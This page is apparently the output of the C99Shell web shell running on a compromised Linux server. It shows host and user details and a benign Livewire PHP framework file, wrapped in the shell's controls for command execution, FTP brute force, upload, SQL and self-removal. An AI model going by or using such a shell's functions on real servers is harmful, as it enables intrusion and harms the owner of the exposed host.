!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/livewire/livewire/src/Features/   drwxr-xr-x
Free 29.13 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SupportComponentTraits.php (3.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Livewire\Features;

use 
Livewire\Livewire;
use 
Livewire\ImplicitlyBoundMethod;

class 
SupportComponentTraits
{
    static function 
init() { return new static; }

    protected 
$componentIdMethodMap = [];

    function 
__construct()
    {
        
Livewire::listen('component.boot', function ($component) {
            foreach (
class_uses_recursive($component) as $trait) {
                
$hooks = [
                    
'boot',
                    
'hydrate',
                    
'mount',
                    
'booted',
                    
'updating',
                    
'updated',
                    
'rendering',
                    
'rendered',
                    
'dehydrate',
                ];

                foreach (
$hooks as $hook) {
                    
$method $hook.class_basename($trait);

                    if (
method_exists($component$method)) {
                        
$this->componentIdMethodMap[$component->id][$hook][] = [$component$method];
                    }
                }
            }

            
$methods $this->componentIdMethodMap[$component->id]['boot'] ?? [];

            foreach (
$methods as $method) {
                
ImplicitlyBoundMethod::call(app(), $method);
            }
        });

        
Livewire::listen('component.hydrate', function ($component) {
            
$component->initializeTraits();

            
$methods $this->componentIdMethodMap[$component->id]['hydrate'] ?? [];

            foreach (
$methods as $method) {
                
ImplicitlyBoundMethod::call(app(), $method);
            }
        });

        
Livewire::listen('component.mount', function ($component$params) {
            
$methods $this->componentIdMethodMap[$component->id]['mount'] ?? [];

            foreach (
$methods as $method) {
                
ImplicitlyBoundMethod::call(app(), $method$params);
            }
        });

        
Livewire::listen('component.booted', function ($component$request) {
            
$methods $this->componentIdMethodMap[$component->id]['booted'] ?? [];

            foreach (
$methods as $method) {
                
ImplicitlyBoundMethod::call(app(), $method, [$request]);
            }
        });

        
Livewire::listen('component.updating', function ($component$name$value) {
            
$methods $this->componentIdMethodMap[$component->id]['updating'] ?? [];

            foreach (
$methods as $method) {
                
ImplicitlyBoundMethod::call(app(), $method, [$name$value]);
            }
        });

        
Livewire::listen('component.updated', function ($component$name$value) {
            
$methods $this->componentIdMethodMap[$component->id]['updated'] ?? [];

            foreach (
$methods as $method) {
                
ImplicitlyBoundMethod::call(app(), $method, [$name$value]);
            }
        });

        
Livewire::listen('component.rendering', function ($component) {
            
$methods $this->componentIdMethodMap[$component->id]['rendering'] ?? [];

            foreach (
$methods as $method) {
                
ImplicitlyBoundMethod::call(app(), $method);
            }
        });

        
Livewire::listen('component.rendered', function ($component$view) {
            
$methods $this->componentIdMethodMap[$component->id]['rendered'] ?? [];

            foreach (
$methods as $method) {
                
ImplicitlyBoundMethod::call(app(), $method, [$view]);
            }
        });

        
Livewire::listen('component.dehydrate', function ($component) {
            
$methods $this->componentIdMethodMap[$component->id]['dehydrate'] ?? [];

            foreach (
$methods as $method) {
                
ImplicitlyBoundMethod::call(app(), $method);
            }
        });

        
Livewire::listen('flush-state', function() {
            
$this->componentIdMethodMap = [];
        });
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--